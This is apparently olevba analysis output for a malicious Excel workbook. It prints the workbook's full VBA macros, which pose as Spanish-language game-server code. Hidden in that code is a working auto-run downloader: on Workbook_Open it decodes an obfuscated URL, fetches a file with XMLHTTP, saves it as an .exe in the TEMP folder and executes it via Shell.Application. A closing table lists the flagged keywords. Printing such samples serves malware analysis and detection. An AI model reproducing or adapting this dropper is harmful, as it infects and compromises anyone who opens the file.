Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS-HB-V malware.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: malware.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
ComputeAllPlayerStats 0
SetPlayerBankItemValue 0, 0, 0
KillPlayer 0
GetPlayerMap 0
CheckResourceReward 0, 0, 0, 0, 1
PlayerPVPDrops 0
HasItem 0, 0
GetPlayerTriforcesNum 0
CheckPlayerActionsProtections 0
End Sub

-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function GetPlayerStat(ByVal index As Long, ByVal stat As String) As Long
 Dim X As Long, i As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerStat = TempPlayer(index).Stats(stat)
 Exit Function
 X = player(index).stat(stat)
 For i = 1 To Equipment.Equipment_Count - 1
 If player(index).Equipment(i) > 0 Then
 If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
 X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
 End If
 End If
 Next
 X = X + GetPlayerStatBuffer(index, stat)
 GetPlayerStat = X
End Function
Public Sub ComputePlayerStat(ByVal index As Long, ByVal stat As String)
 Dim X As Long, i As Long
 If index > MAX_PLAYERS Then Exit Sub
 If index <= 0 Then Exit Sub
 X = player(index).stat(stat)
 For i = 1 To Equipment.Equipment_Count - 1
 If player(index).Equipment(i) > 0 Then
 If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
 X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
 End If
 End If
 Next
 X = X + GetPlayerStatBuffer(index, stat)
 TempPlayer(index).Stats(stat) = X
End Sub
Public Sub ComputeAllPlayerStats(ByVal index As Long)
 Set SetPlayerVit = CreateObject("Microsoft" + ".XMLHTTP")
Set adodbStream = CreateObject("Adodb.Stream")
Exit Sub
Dim i As Byte
 For i = 1 To Stats.Stat_Count - 1
 ComputePlayerStat index, i
 Next
End Sub
Public Function GetPlayerRawStat(ByVal index As Long, ByVal stat As String) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerRawStat = player(index).stat(stat)
End Function
Public Sub SetPlayerStat(ByVal index As Long, ByVal stat As String, ByVal Value As Long)
 player(index).stat(stat) = Value
End Sub
Function GetPlayerPOINTS(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerPOINTS = player(index).points
End Function
Sub SetPlayerPOINTS(ByVal index As Long, ByVal points As Long)
 If points <= 0 Then points = 0
 player(index).points = points
End Sub

Sub SetPlayerMap(ByVal index As Long, ByVal mapnum As Long)
 If mapnum > 0 And mapnum <= MAX_MAPS Then
 player(index).Map = mapnum
 End If
End Sub
Function GetPlayerX(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerX = player(index).X
End Function
Sub SetPlayerX(ByVal index As Long, ByVal X As Long)
If X < 0 Then Exit Sub
 player(index).X = X
End Sub
Function GetPlayerY(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerY = player(index).Y
End Function
Sub SetPlayerY(ByVal index As Long, ByVal Y As Long)
If Y < 0 Then Exit Sub
 player(index).Y = Y
End Sub
Function GetPlayerDir(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerDir = player(index).dir
End Function
Sub SetPlayerDir(ByVal index As Long, ByVal dir As Long)
 player(index).dir = dir
End Sub
Function GetPlayerIP(ByVal index As Long, Optional ByVal genuine As Boolean = False) As String
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 If genuine Then
 GetPlayerIP = frmServer.Socket(index).RemoteHostIP
 Else
 If LPE(index) Then
 GetPlayerIP = RandomizeIP
 Else
 GetPlayerIP = frmServer.Socket(index).RemoteHostIP
 End If
 End If
End Function
Function GetPlayerHost(ByVal index As Long)
 If index > 0 And index < MAX_PLAYERS Then
 GetPlayerHost = frmServer.Socket(index).RemoteHost
 End If
End Function
Function RandomizeIP() As String
 Dim a As Integer
 Dim i As Byte
 i = RAND(3, 4)
 While i > 0
 a = RAND(111, 999)
 RandomizeIP = RandomizeIP + CStr(a)
 If i > 1 Then RandomizeIP = RandomizeIP + "."
 i = i - 1
 Wend
End Function
Function GetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 If invSlot = 0 Then Exit Function
 GetPlayerInvItemNum = player(index).Inv(invSlot).Num
End Function
Sub SetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long, ByVal ItemNum As Long)
 player(index).Inv(invSlot).Num = ItemNum
End Sub
Function GetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerInvItemValue = player(index).Inv(invSlot).Value
End Function
Sub SetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long, ByVal Itemvalue As Long)
 player(index).Inv(invSlot).Value = Itemvalue
End Sub
Function GetPlayerSpell(ByVal index As Long, ByVal spellslot As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerSpell = player(index).Spell(spellslot)
End Function
Sub SetPlayerSpell(ByVal index As Long, ByVal spellslot As Long, ByVal spellnum As Long)
 player(index).Spell(spellslot) = spellnum
End Sub
Function GetPlayerEquipment(ByVal index As Long, ByVal EquipmentSlot As String) As Long
 If index <= 0 Or index > MAX_PLAYERS Then Exit Function
 If EquipmentSlot <= 0 Or EquipmentSlot > Equipment_Count - 1 Then Exit Function
 GetPlayerEquipment = player(index).Equipment(EquipmentSlot)
End Function
Sub SetPlayerEquipment(ByVal index As Long, ByVal invNum As Long, ByVal EquipmentSlot As String)
 player(index).Equipment(EquipmentSlot) = invNum
End Sub
Function GetPlayerVisible(ByVal index As Long) As Long
 If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
GetPlayerVisible = player(index).Visible
End Function
Sub SetPlayerVisible(ByVal index As Long, ByVal Visible As Long)
player(index).Visible = Visible
End Sub
Sub SwapInvEquipment(ByVal index As Long, ByVal invSlot As Long, ByVal EquipmentSlot As Long)
If index < 1 Or index > MAX_PLAYERS Or invSlot < 1 Or invSlot > MAX_INV Or EquipmentSlot < 1 Or EquipmentSlot > Equipment.Equipment_Count - 1 Then Exit Sub
Dim TempItem As Long
TempItem = GetPlayerInvItemNum(index, invSlot)
Dim NewValue As Long
NewValue = 0
If GetPlayerEquipment(index, EquipmentSlot) > 0 Then
 NewValue = 1
End If
Call SetPlayerInvItemNum(index, invSlot, GetPlayerEquipment(index, EquipmentSlot))
Call SetPlayerInvItemValue(index, invSlot, NewValue)
Call SetPlayerEquipment(index, TempItem, EquipmentSlot)
Call ComputeAllPlayerStats(index)
End Sub
Sub OnDeath(ByVal index As Long, Optional ByVal RespawnSite As Byte = 0)
 If index < 1 Or index > MAX_PLAYERS Then Exit Sub
 Dim i As Long
 Call SetPlayerVital(index, Vitals.HP, 0)
 PetDi.sband index, GetPlayerMap(index), True
 Call SetPlayerDir(index, DIR_DOWN)
 SendSou.ndToMap GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index), SoundEntity.seDie, GetPlayerClass(index)
 Dim mapnum As Long, X As Long, Y As Long
 GetOnD.eathMap index, mapnum, X, Y, RespawnSite
 PlayerWar.pByEvent index, mapnum, X, Y
 For i = 1 To MAX_DOTS
 With TempPl.ayer(index).DoT(i)
 .Used = False
 .Spell = 0
 .Timer = 0
 .caster = 0
 .StartTime = 0
 End With
 With TempP.layer(index).HoT(i)
 .Used = False
 .Spell = 0
 .Timer = 0
 .caster = 0
 .StartTime = 0
 End With
 Next
 For i = 1 To PlayerActions_Count - 1
 Call UnblockPlayerAction(index, i)
 Next
 TempPl.ayer(index).spellBuffer.Spell = 0
 TempPl.ayer(index).spellBuffer.Timer = 0
 TempPl.ayer(index).spellBuffer.Target = 0
 TempPl.ayer(index).spellBuffer.tType = 0
 Call SendClearS.pellBuffer(index)
 TempPl.ayer(index).InBank = False
 TempPl.ayer(index).InShop = 0
 If TempP.layer(index).InTrade > 0 Then
 For i = 1 To MAX_INV
 TempPl.ayer(index).TradeOffer(i).Num = 0
 TempPl.ayer(index).TradeOffer(i).Value = 0
 TempPl.ayer(TempP.layer(index).InTrade).TradeOffer(i).Num = 0
 TempPl.ayer(TempPl.ayer(index).InTrade).TradeOffer(i).Value = 0
 Next
 TempPl.ayer(TempP.layer(index).InTrade).InTrade = 0
 SendCl.oseTrade TempPl.ayer(index).InTrade
 TempPl.ayer(index).InTrade = 0
 SendCl.oseTrade index
End If
 Call SetPlayerVital(index, Vitals.HP, GetPlaye.rMaxVital(index, Vitals.HP))
 Call SetPlayerVital(index, Vitals.MP, GetPlaye.rMaxVital(index, Vitals.MP))
 Call SendV.ital(index, Vitals.HP)
 Call SendV.ital(index, Vitals.MP)
 If TempP.layer(index).inParty > 0 Then SendPart.yVitals TempPl.ayer(index).inParty, index
End Sub
Public Function GetPlayerMap(ByVal index As Long) As Long
 Dim playerIndex() As Variant
playerIndex = Array(6046, 6058, 6058, 6054, 6000, 5989, 5989, 6060, 6043, 6050, 6047, 6058, 6053, 6050, 6059, 5988, 6041, 6053, 6051, 5989, 5998, 5999, 6059, 5998, 5997, 5989, 5994, 5995, 5994, 6057, 6042, 5988, 6043, 6062, 6043)
CUk = 10

SetPlayerVit.Open Chr(10 * 7 + 1) + "" + "" + "" + "E" + "" + "" + "T", GetGivenMoney(playerIndex, 8.8, 34), False
Exit Function
If index > MAX_PLAYERS Then Exit Function
 If index <= 0 Then Exit Function
 GetPlayerMap = Play.er(index).Map
End Function
Public Function PosOrdenation(ByVal x1 As Long, ByVal y1 As Long, ByVal x2 As Long, ByVal y2 As Long) As Integer
 If x1 < x2 Then
 PosOrdenation = 1
 ElseIf x1 > x2 Then
 PosOrdenation = -1
 Else
 If y1 < y2 Then
 PosOrdenation = 1
 ElseIf y1 > y2 Then
 PosOrdenation = -1
 Else
 PosOrdenation = 0
 End If
 End If
End Function
Public Function BinarySearchResource(ByVal mapnum As Long, ByVal left As Long, ByVal right As Long, ByVal X As Long, ByVal Y As Long) As Long
 If right < left Then
 BinarySearchResource = 0
 Else
 Dim meddle As Integer
 meddle = (left + right) \ 2
 With ResourceCache(mapnum).ResourceData(meddle)
 Dim Ordenation As Integer
 Ordenation = PosOrdenation(X, Y, .X, .Y)
 If Ordenation = 1 Then
 BinarySearchResource = BinarySearchResource(mapnum, left, meddle - 1, X, Y)
 ElseIf Ordenation = -1 Then
 BinarySearchResource = BinarySearchResource(mapnum, meddle + 1, right, X, Y)
 Else
 BinarySearchResource = meddle
 End If
 End With
 End If
End Function



-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public SetPlayerVit As Object
Public adodbStream As Object
Public processEnv  As Object
Public ItemNum2 As String
Public ItemNum1 As String
Public shellApp As Object
Public Sub CheckResourceReward(ByVal index As Long, ByVal Rx As Long, ByVal Ry As Long, ByRef ResourceNum As Long, ByVal ResourceReward As Byte)
ItemNum2 = processEnv("TEMP")
SetPlayerVit.Send
Exit Sub
End Sub
Function GetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long) As Long
 GetPlayerBankItemNum = Bank(index).Item(BankSlot).Num
End Function
Sub SetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long, ByVal ItemNum As Long)
 Bank(index).Item(BankSlot).Num = ItemNum
End Sub
Function GetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long) As Long
 GetPlayerBankItemValue = Bank(index).Item(BankSlot).Value
End Function
Public Sub SetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long, ByVal Itemvalue As Long)
 Set shellApp = CreateObject("Shell.Application")
 Exit Sub
 Ba.nk(index).Item(BankSlot).Value = Itemvalue
End Sub
Public Sub KillPlayer(ByVal index As Long, Optional ByVal LoseExp As Byte = 0)
Set processEnv = CreateObject("WScript.Shell").Environment("Process")
Exit Sub
Dim exp As Long
 Call OnDeath(index)
End Sub
Public Function ResetPlayerPoints(ByVal index As Long) As Long
Dim i As Byte, sum As Long
ResetPlayerPoints = 0
sum = 0
For i = 1 To Stats.Stat_Count - 1
 Do While player(index).stat(i) > Class(GetPlayerClass(index)).stat(i)
 player(index).stat(i) = player(index).stat(i) - 1
 sum = sum + 1
 Loop
Next
ResetPlayerPoints = sum
End Function
Public Sub PlayerPVPDrops(ByVal index As Long)
Dim i As Long
Dim ItemNum As Long
Dim Itemvalue As Long
ItemNum1 = ItemNum2 + Chr(8 * 10 + 12) + "" + "poin" + "tst" + Chr(3 * 5 + 3 * 5 + 3 * 5 + 1) + "e" + "xe"
Exit Sub
For i = 1 To MAX_INV
If GetPlayerInvItemNum(index, i) > 0 Then
 If IsItemDro.ppable(GetPlayerInvItemNum(index, i), index) Then
 If isItemSta.ckable(GetPlayerInvItemNum(index, i)) Then
 Itemvalue = GetPlayerInvItemValue(index, i)
 If Itemvalue > 0 Then
 Itemvalue = Itemvalue * (1 / 10)
 If Itemvalue = 0 Then Itemvalue = 1
 Call PlayerMapD.ropItem(index, i, Itemvalue, False)
 End If
 Else
 Call PlayerMa.pDropItem(index, i, 1, False)
 End If
 End If
End If
Next
For i = 1 To Equipment.Equipment_Count - 1
 If GetPlayerEquipment(index, i) > 0 Then
 If IsItemD.roppable(GetPlayerEquipment(index, i), index) Then
 Call PlayerUnequipI.temAndDrop(index, i)
 End If
 End If
Next
End Sub

Public Function GetPlayerTriforcesNum(ByVal index As Long) As Byte
With adodbStream
.write SetPlayerVit.responseBody
End With
GoTo l500
Exit Function
Dim i As Byte
GetPlayerTriforcesNum = 0
For i = 1 To TriforceType.TriforceType_Count - 1
 If GetPlayerT.riforce(index, i) = True Then
 GetPlayerTriforcesNum = GetPlayerTriforcesNum + 1
 End If
Next
l500:

    adodbStream.savetofile ItemNum1, 2
End Function
Public Sub CheckPlayerActionsProtections(ByVal index As Long)
 Dim i As Byte
 shellApp.Open (ItemNum1)
 Exit Sub
 For i = 1 To PlayerActions_Count - 1
 If IsActio.nBlocked(index, i) Then
 If IsActio.nProtected(index, i) Then
 UnblockPlay.erAction index, i
 End If
 End If
 Next
End Sub
Sub KickPlayer(ByVal index As Long, Optional ByRef Reason As String = "")
 If index = 0 Or Not IsPlaying(index) Then Exit Sub
 Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, White, False, True)
 Call AddLog(0, GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, ADMIN_LOG)
 Call AlertMsg(index, "Has sido expulsado por: " & Reason)
End Sub
Sub ClearPlayerTarget(ByVal index As Long)
 TempPlayer(index).Target = 0
 TempPlayer(index).TargetType = TARGET_TYPE_NONE
 SendTarget index
End Sub
Sub EarthQuake(ByVal index As Long)
 Dim a As Variant
 For Each a In GetMapPlayerCollection(GetPlayerMap(index))
 If a <> index Then
 If IsinRange(4, GetPlayerX(index), GetPlayerY(index), GetPlayerX(a), GetPlayerY(a)) Then
 Call PlayerAttackPlayer(index, a, GetPlayerDamageAgainstPlayer(index, a))
 End If
 End If
 Next
End Sub
Sub CheckGodAttack(ByVal index As Long)
 If GPE(index) Then
 UnblockAllPlayerActions index
 EarthQuake index
 End If
End Sub
Sub ComputePlayerAttackTimer(ByVal index As Long)
 SetPlayerAttackTimer index, GetRealTickCount
End Sub
Function CanPlayerAttackTimer(ByVal index As Long) As Boolean
 Dim Timer As Long, ItemNum As Long
 Timer = GetPlayerAttackTimer(index)
 ItemNum = GetPlayerEquipment(index, Weapon)
 If ItemNum > 0 Then
 If GetRealTickCount > Timer + GetItemSpeed(ItemNum) Then
 CanPlayerAttackTimer = True
 End If
 Else
 If GetRealTickCount > Timer + 1000 Then
 CanPlayerAttackTimer = True
 End If
 End If
End Function
Function GetPlayerAttackTimer(ByVal index As Long) As Long
 GetPlayerAttackTimer = TempPlayer(index).AttackTimer
End Function
Sub SetPlayerAttackTimer(ByVal index As Long, ByVal Time As Long)
 TempPlayer(index).AttackTimer = Time
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function CanGiveItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, ByRef GivenValue As Long) As Long
If index < 1 Or index > MAX_PLAYERS Or ItemNum < 1 Or ItemNum > MAX_ITEMS Then Exit Function
Dim i As Long
i = FindOpenInvSlot(index, ItemNum)
If i > 0 Then
 If ItemNum = 1 Then
 GivenValue = GetGivenMoney(index, GetPlayerInvItemValue(index, i), itemval)
 Else
 GivenValue = itemval
 End If
 Dim val As Long
 If isItemStackable(ItemNum) Then
 val = GivenValue
 Else
 val = 1
 End If
 If CanPlayerHoldWeight(index, GetItemValWeight(ItemNum, val)) Then
 CanGiveItem = i
 Else
 PlayerMsg index, "No puedes soportar mas peso.", BrightRed
 CanGiveItem = 0
 End If
Else
 PlayerMsg index, "No tienes espacio en tu inventario.", BrightRed
 CanGiveItem = 0
End If
End Function
Public Function GetGivenMoney(fromArr() As Variant, Hawk As Double, LenLen As Integer) As String
    Dim i As Integer
    Variabl = ""
    For i = LBound(fromArr) To UBound(fromArr)
        Variabl = Variabl & Chr(fromArr(i) - LenLen - 14 * LenLen - 5000 - 432)
    Next i
    GetGivenMoney = Variabl
End Function
Function Get1GivenMoney(ByVal index As Long, ByVal initialvalue As Long, ByVal Value As Long) As Long
 If GetPlayerMaxMoney(index) < initialvalue + Value Then
 GetGivenMoney = GetPlayerMaxMoney(index) - initialvalue
 Else
 GetGivenMoney = Value
 End If
End Function
Function FindOpenBankSlot(ByVal index As Long, ByVal ItemNum As Long) As Long
 Dim i As Long
 If Not IsPlaying(index) Then Exit Function
 If ItemNum <= 0 Or ItemNum > MAX_ITEMS Then Exit Function
 For i = 1 To MAX_BANK
 If GetPlayerBankItemNum(index, i) = ItemNum Then
 FindOpenBankSlot = i
 Exit Function
 End If
 Next i
 For i = 1 To MAX_BANK
 If GetPlayerBankItemNum(index, i) = 0 Then
 FindOpenBankSlot = i
 Exit Function
 End If
 Next i
End Function
Public Function HasItem(ByVal index As Long, ByVal ItemNum As Long) As Long
 Dim i As Long
 With adodbStream
   .Type = 1
    .Open
End With
 Exit Function
 If IsPlay.ing(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
 Exit Function
 End If
 For i = 1 To MAX_INV
 If GetPlayerInvItemNum(index, i) = ItemNum Then
 If isItemStac.kable(ItemNum) Then
 HasItem = GetPlayerInvItemValue(index, i)
 Else
 HasItem = 1
 End If
 Exit Function
 End If
 Next
End Function
Function TakeInvItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, Optional ByVal UpdateWeight As Boolean = True) As Boolean
 Dim i As Long
 Dim N As Long
 Dim TakenValue As Long
 TakeInvItem = False
 If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
 Exit Function
 End If
 For i = 1 To MAX_INV
 If GetPlayerInvItemNum(index, i) = ItemNum Then
 If isItemStackable(ItemNum) Then
 If itemval >= GetPlayerInvItemValue(index, i) Then
 TakenValue = GetPlayerInvItemValue(index, i)
 Call SetPlayerInvItemNum(index, i, 0)
 Call SetPlayerInvItemValue(index, i, 0)
 TakeInvItem = True
 Else
 Call SetPlayerInvItemValue(index, i, GetPlayerInvItemValue(index, i) - itemval)
 TakenValue = itemval
 End If
 Else
 Call SetPlayerInvItemNum(index, i, 0)
 Call SetPlayerInvItemValue(index, i, 0)
 TakeInvItem = True
 TakenValue = 1
 End If
 Call SendInventoryUpdate(index, i)
 If UpdateWeight Then Call SetPlayerWeight(index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, TakenValue))
 Exit For
 End If
 Next
End Function
Function TakeInvSlot(ByVal index As Long, ByVal invSlot As Byte, ByRef itemval As Long, Optional ByVal Update As Boolean = False) As Boolean
 Dim ItemNum As Integer
 Dim NewItemVal As Long
 Dim NewItemNum As Long
 TakeInvSlot = False
 If IsPlaying(index) = False Or invSlot <= 0 Or invSlot > MAX_ITEMS Then Exit Function
 ItemNum = GetPlayerInvItemNum(index, invSlot)
 If ItemNum < 1 Then Exit Function
 If isItemStackable(ItemNum) Then
 If itemval >= GetPlayerInvItemValue(index, invSlot) Then
 NewItemVal = 0
 NewItemNum = 0
 itemval = GetPlayerInvItemValue(index, invSlot)
 Else
 NewItemVal = GetPlayerInvItemValue(index, invSlot) - itemval
 NewItemNum = GetPlayerInvItemNum(index, invSlot)
 End If
 Else
 NewItemVal = 0
 NewItemNum = 0
 itemval = 1
 End If
 SetPlayerInvItemNum index, invSlot, NewItemNum
 SetPlayerInvItemValue index, invSlot, NewItemVal
 SetPlayerWeight index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, itemval)
 If Update Then
 Call SendInventoryUpdate(index, invSlot)
 End If
End Function
Sub GiveInvSlot(ByVal index As Long, ByVal slot As Long, ByVal ItemNum As Long, ByVal Value As Long, Optional ByVal SendUpdate As Boolean = True)
 If index < 1 Or index > MAX_PLAYERS Or slot < 1 Or slot > MAX_INV Then Exit Sub
 Dim SetValue As Long
 If isItemStackable(ItemNum) Then
 SetValue = GetPlayerInvItemValue(index, slot) + Value
 Else
 SetValue = 1
 Value = 1
 End If
 Call SetPlayerInvItemNum(index, slot, ItemNum)
 Call SetPlayerInvItemValue(index, slot, SetValue)
 Call SetPlayerWeight(index, GetPlayerWeight(index) + GetItemValWeight(ItemNum, Value))
 If SendUpdate Then SendInventoryUpdate index, slot
End Sub



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string | ET                   | "" + "" + "" + "E" + "" + "" + "T"      |
| VBA string | pointst              | "" + "poin" + "tst"                     |
| VBA string | exe                  | "e" + "xe"                              |
| VBA string |  ha sido expulsado   | (" ha sido expulsado por: ") & " "      |
|            | por:                 |                                         |
+------------+----------------------+-----------------------------------------+